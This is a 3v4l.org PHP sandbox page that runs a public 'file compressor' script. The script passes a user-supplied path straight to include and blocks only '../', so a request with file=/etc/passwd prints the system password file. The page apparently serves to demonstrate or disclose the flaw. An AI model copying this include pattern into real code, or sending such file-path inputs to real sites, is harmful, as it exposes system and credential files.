3v4l.org

run code in 300+ PHP versions simultaneously
<?php // User visits example.com/file_compressor.php?file=/etc/passwd $_GET['file'] = '/etc/passwd'; // Below is directly copied from https://raw.githubusercontent.com/camoufl4g3/PHP/master/file_compressor.php #https://twitter.com/ramal_h #file compressor header('Content-type: text/css'); ob_start("compress"); function compress( $minify ) { $minify = preg_replace( '!/\*[^*]*\*+([^/][^*]*\*+)*/!', '', $minify ); $minify = str_replace( array("\r\n", "\r", "\n", "\t", ' ', ' ', ' '), '', $minify ); return $minify; } $file = $_GET['file']; if( ($file == '') || (strpos($file, '../') !== false)) exit('Hacking attempt'); else include $_GET['file']; ob_end_flush();
Output for git.master, git.master_jit, rfc.property-hooks
root:x:0:0::/root:/bin/bash

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page


preferences:
47.78 ms | 401 KiB | 8 Q